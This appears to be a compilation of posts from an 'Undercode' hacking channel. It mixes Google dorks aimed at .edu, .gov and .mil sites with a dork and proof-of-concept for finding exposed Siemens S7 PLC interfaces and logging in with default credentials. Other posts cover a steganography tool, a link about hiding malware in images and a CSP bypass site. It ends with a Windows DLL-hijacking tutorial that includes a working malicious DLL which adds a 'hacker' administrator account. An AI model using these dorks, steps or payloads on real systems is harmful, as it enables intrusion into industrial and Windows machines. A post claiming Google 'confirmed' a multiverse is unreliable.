🦑Google Dorks basics:


site:.edu “phone number”– This Dork searches for websites on .edu domains that contain the words “phone number”. student “phone number” – This Dork searches for websites on .edu domains that contain the words “student” and “phone number”.

inurl:edu “login” – This Dork searches for websites on .edu domains that contain the words “login”. This Dork searches for school websites that contain student login information.

“powered by Undercode” site:.edu – This Dork searches for websites on .edu domains that contain the words “powered by Undercode”. This Dork searches for school websites that are running on the Undercode forum software.

“powered by Undercode” site:.gov – This Dork searches for websites on .gov domains that contain the words “powered by Undercode”. This Dork searches for governmental websites that are running on the Undercode forum software.

“powered by Undercode” site:.mil – This Dork searches for websites on .mil domains that contain the words “powered by Undercode”. This Dork searches for military websites that are running on the Undercode forum software.

“powered by Undercode” inurl:.edu – This Dork searches for websites on .edu domains that contain the words “powered by Undercode”. This Dork searches for school websites that are running on the Undercode forum software.

“powered by Undercode” inurl:.mil – This Dork searches for websites on .mil domains that contain the words “powered by Undercode”. This Dork searches for military websites that are running on the Undercode forum software.

inurl:.com “powered by Undercode” – This Dork searches for websites on .com domains that contain the words “powered by Undercode”. This Dork searches for websites that are running on the Undercode forum software.

inurl:.edu “register forum” – This Dork searches for websites on .edu domains that contain the words “register forum”. This Dork searches for school websites that allow you to register for a forum.
inurl:.gov “register forum” – This Dork searches for websites on .gov domains that contain the words “register forum”. This Dork searches for governmental websites that allow you to register for a forum

🦑 top cybersecurity job sites:

https://www.cyberseek.org

https://www.hays.com

https://www.comptia.org

🦑Advanced Steganography Tool made with Python:

Installation

1. Clone the repository:

   kali@kali:~$ git clone https://github.com/Sanjipan/Steganography
   

2. Install required Python libraries:

   kali@kali:~$ pip install argparse
   kali@kali:~$ pip install Wave
   kali@kali:~$ sudo pip install opencv-python
   kali@kali:~$ pip install numpy
   kali@kali:~$ pip install Pillow
   kali@kali:~$ pip install pytest-shutil
   kali@kali:~$ pip install subprocess.run
   kali@kali:~$ sudo pip install stegano
   

How to Use

1. Navigate to the project directory:

   kali@kali:~$ cd Steganography
   

2. Encoding/Decoding Files:

- For Audio Files:
- Encoding:

       sudo python3 ./Steganography.py -a -e <location of file>
       

- Decoding:

       sudo python3 ./Steganography.py -a -d <location of file>
       

- For Video Files:
- Encoding:

       sudo python3 ./Steganography.py -v -e <location of file>
       

- Decoding:

       sudo python3 ./Steganography.py -v -d <location of file>
       

- For Image Files:
- Encoding:

       sudo python3 ./Steganography.py -i -e <location of file>
       

- Decoding:

       sudo python3 ./Steganography.py -i -d <location of file>
       

- For Text Files:
- Encoding:

       sudo python3 ./Steganography.py -t -e <location of file>
       

- Decoding:

       sudo python3 ./Steganography.py -t -d <location of file>
       

3. For Help:

   sudo python3 ./Steganography.py -h
   sudo python3 ./Steganography.py --help
   

For more detailed usage and code, visit the repository [here](https://github.com/Sanjipan/Steganography).

🧨 Hide Data/Malwares in Images:

https://youtu.be/4TsEqrs09SM

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Wild! Google announced that their quantum chip Willow was able to do a computation in 5 minutes that would take current top-tier computers 10,000,000,000,000,000,000,000,000 years to figure out 😳

The 105-qubit chip brings insane error correction, focusing on stability rather than just stacking more qubits. The result? A leap toward practical quantum computing that could revolutionize medicine, AI, and energy in the near future.

But here comes the crazy part.

As part of the Willow announcement, Google basically confirmed we're living in a multiverse:

"It lends credence to the notion that quantum computation occurs in many parallel universes, in line with the idea that we live in a multiverse, a prediction first made by David Deutsch."

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Hack GraphRAG implementation:

Nano-GraphRAG is a lightweight, efficient, and portable implementation of GraphRAG. It's designed to be more user-friendly and hackable than the official version while retaining the core features.

Key Features
- Small yet powerful: ~1100 lines of core code (excluding tests/prompts).
- Highly portable: Supports integrations with Faiss, Neo4j, Ollama, etc.
- Asynchronous and fully typed: Suitable for modern Python workflows.
- Flexible backends:
- LLM: OpenAI, Amazon Bedrock, Ollama, others.
- Vector DB: Built-in nano-vectordb, HNSWlib, Milvus-lite, Faiss.
- Graph Storage: NetworkX (default), Neo4j (optional).
- Incremental and batch data handling: Easy to scale as data grows.



Installation
From Source (Recommended)

 Clone the repository
git clone https://github.com/gusye1234/nano-graphrag.git
cd nano-graphrag
pip install -e .

From PyPI

pip install nano-graphrag

Quick Start
1. Set up API Keys:
- OpenAI API:

     export OPENAI_API_KEY="sk-..."
     

- For Azure OpenAI or Amazon Bedrock, refer to .env.example.

2. Download a sample text:

   curl https://raw.githubusercontent.com/gusye1234/nano-graphrag/main/tests/mock_data.txt > ./book.txt
   

3. Basic Usage:

   from nano_graphrag import GraphRAG, QueryParam

    Initialize GraphRAG
   graph_func = GraphRAG(working_dir="./dickens")

    Insert text data
   with open("./book.txt") as f:
       graph_func.insert(f.read())

    Perform a global search
   print(graph_func.query("What are the top themes in this story?"))

    Perform a local search for scalability
   print(graph_func.query("What are the top themes in this story?", param=QueryParam(mode="local")))
   

4. Reuse Stored Contexts:
- Reinitialize with the same working_dir to reload previous contexts.



Advanced Features
- Batch Insert:

  graph_func.insert(["TEXT1", "TEXT2", ...])
  

- Incremental Insert:

  graph_func.insert("New text to add")
  

- Async Support:

  await graph_func.ainsert("Async text")
  await graph_func.aquery("What is this text about?")
  

- Customizable Parameters:
- Use help(GraphRAG) and help(QueryParam) to explore.



Components and Extensibility
Built-in Components:
- LLM: OpenAI, Amazon Bedrock.
- Vector DB: Nano-vectordb, HNSWlib.
- Graph Storage: NetworkX, Neo4j.

Example Extensions:
- Embedding: Sentence-transformers, custom embeddings.
- Visualization: GraphML-based visualizations.
- Chunking: Token-based or custom splitters.



Benchmarking and Contributions
- Benchmarks for performance comparisons are available under examples/benchmarks.
- Contributions for new components and features are welcomed!

Nano-GraphRAG is ideal for developers seeking a nimble and efficient RAG solution, especially for those who want the flexibility to experiment or build on top of it.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Google Dork : intext:"siemens" & inurl:"/portal/portal.mwsl"

locate Siemens S7 PLC (Programmable Logic Controller) web interfaces through publicly accessible search

This Google dork, intext:"siemens" & inurl:"/portal/portal.mwsl", reveals
the web interfaces of Siemens S7 series PLC controllers. These interfaces
provide access to critical control and monitoring functions of industrial
systems. Unauthorized access can lead to significant operational
disruptions and security risks in industrial environments.

Proof Of Concept (PoC):
Steps to Reproduce:
1.Open Google Search.
2.Enter the dork query: intext:"siemens" & inurl:"/portal/portal.mwsl".
3.Review the search results to find URLs of Siemens S7 PLC web interfaces.
4. Click on a search result to access the web interface of the PLC.
5.Attempt to log in using default or commonly known credentials (if login
is required).

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑CSP Bypass Search:

https://cspbypass.com/

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🚀 Support & Share: t.me/undercodecommunity

This is the hub for developers and tech enthusiasts:
💻 Topics We Cover:

🔐 CVE News & Databases
📰 Hacker & Tech News
🛡 Cybersecurity, Hacking, and Secret Methods
🌟 Our Mission:
Share your knowledge, collaborate, and grow together in a community designed for innovation and learning.

🔗 Join now: Let's build the future together!

@UndercodeCommunity
▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑Advanced Hacking: file hijacking caused by directory permissions:

In Windows systems, improper permissions on certain directories or files allow attackers to implant malicious files or execute files in these directories. Since these directories lack effective access control and security review, attackers can exploit vulnerabilities to modify, replace or inject files, or even hijack legitimate processes or services in the system.

In Windows systems, there are some typical weak-permission directories, such as C:\Windows\Temp, C:\ProgramDataetc. These directories are usually used to store temporary files. However, many applications and users do not set sufficient permission control for these directories when using them. Attackers can implement file hijacking attacks by placing malicious executable files in these directories, thereby executing code or elevating system permissions.

Several file hijacking cases to understand the security issues caused by weak permission directories. Before going into specific cases, let's start with the CreateProcess API.

1️⃣. Unsafe use of CreateProcess
CreateProcessThe API is the basic function used to create a new process in Windows. Its working mechanism is crucial to program startup and path resolution. This API has multiple parameters, among which lpApplicationNameand lpCommandLineare key parameters, which together affect the behavior of process creation, especially how to parse and execute the passed executable file path.

CreateProcessBasic usage

CreateProcessThe prototype is as follows:

BOOL CreateProcess(
  LPCWSTR lpApplicationName, 
  LPWSTR lpCommandLine,        
  LPSECURITY_ATTRIBUTES lpProcessAttributes,  
  LPSECURITY_ATTRIBUTES lpThreadAttributes,   
  BOOL bInheritHandles,         
  DWORD dwCreationFlags,       
  LPVOID lpEnvironment,        
  LPCWSTR lpCurrentDirectory,  
  LPSTARTUPINFO lpStartupInfo,  
  LPPROCESS_INFORMATION lpProcessInformation  
);

2️⃣ lpApplicationName: Specifies the path to the application (optional). If NULL, the system will lpCommandLineparse the application path from the first space-delimited item of .
lpCommandLine: Command line arguments passed to the new process. If lpApplicationName, NULLthis argument must include the full path to the application or command name.
lpApplicationNameNULLPath resolution for

When lpApplicationNameis NULL, the system must lpCommandLineparse the executable file path from . This process involves path parsing and processing, which may involve the problem of file names containing spaces.

Path resolution order on the command line:

Let's look at an example from Microsoft's official documentation. Suppose that lpCommandLineit contains something like the following:

c:\program files\sub dir\program name

3️⃣CreateProcess executes the path without quotes, and lpApplicationNamethe NULLsystem will parse the path in the following order:

c:\program.exe: The system first attempts to parse the path by truncating it from the beginning of the string c:\program.exe.
c:\program files\sub.exe: If the first resolution fails, the system attempts to resolve the path to c:\program files\sub.exe.
c:\program files\sub dir\program.exe: Next, the system tries to resolve the entire path, thinks program.exeit is an executable file name, and tries to execute it.
c:\program files\sub dir\program name.exe: Finally, the system attempts to resolve program nameas an executable file name and appends .exethe extension to it.

4️⃣Write a POC program test:

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");

// STARTUPINFO PROCESS_INFORMATION
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

// CreateProcessA（ANSI）
if (CreateProcessA(
NULL,
szCmdline,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}

free(szCmdline);

return 0;
}

5️⃣This test program attempts to start "c:\program files\sub dir\program name" via CreateProcessA, compile and run the program, and monitor it using Process Monitor.

, you can see that Process Monitor monitors the expected behavior of the program. If program.exe exists in the root directory of drive C, then c:\program.exe will be executed.

The safe usage of CreateProcess API should be:

LPTSTR szCmdline[] = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
    CreateProcess(NULL, szCmdline, /*...*/);

If lpApplicationName is set to NULL , the executable file path in lpCommandLine needs to be quoted. Another API function with similar behavior is CreateProcessAsUser.

6️⃣ Directory permissions and file hijacking
Through the CreateProcess test program above, we can see that some irregular coding habits may cause the program to behave unexpectedly, which poses a potential security risk. In this case, if the relevant directory is set to weak permissions, such as c:\program files\sub dir\, the directory permissions are improperly set, resulting in an attacker with normal permissions being able to write malicious files in the directory and use file hijacking to achieve the purpose of privilege escalation. Next, let's use several real CVE cases to explore the possible harm caused by file hijacking caused by weak permission directories.

7️⃣Case Analysis
EXE hijacking caused by weak permission directory:

> during the uninstallation of the Citrix program, the CreateProcess API is called to execute the file TrolleyExpress.exe (C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe). Due to the unquoted path, the program attempts to load C:\ProgramData\Citrix\Citrix.exe. The path C:\ProgramData\Citrix\ has weak permissions. An attacker can write a malicious Citrix.exe to the path and wait for the administrator to uninstall the Citrix Workspace application. The malicious Citrix.exe will be executed to elevate permissions.

8️⃣Local privilege escalation due to weak system directory permissions:

CVE-2022-24767: The uninstaller for Git for Windows is vulnerable to DLL hijacking when running under the SYSTEM user account

The system user uninstalls the Git for Windows program. By monitoring the program behavior, you will find that the Git uninstaller will try to C:\Windows\Tempload the dll from the directory.

9️⃣ Since ordinary users also have C:\Windows\Tempwrite permissions to the directory, low-privilege attackers can write malicious dlls to C:\Windows\Tempthe directory. When the system user uninstalls the Git program, the malicious dll will run, and the attacker can achieve the purpose of privilege escalation.

1️⃣0️⃣we try to execute malicious code by hijacking netapi32.dll.

Malicious netapi32.dll test code:

#include<stdio.h>
#include<windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\"");
        ExitProcess(0);
    }
    return TRUE;
}

After the compilation is complete, put netapi32.dll in the C:\Windows\Temp directory. When the system user uninstalls the Git for Windows program, you will find that the malicious dll is executed and a user hacker is successfully added to the administrator group.

▁ ▂ ▄ U𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁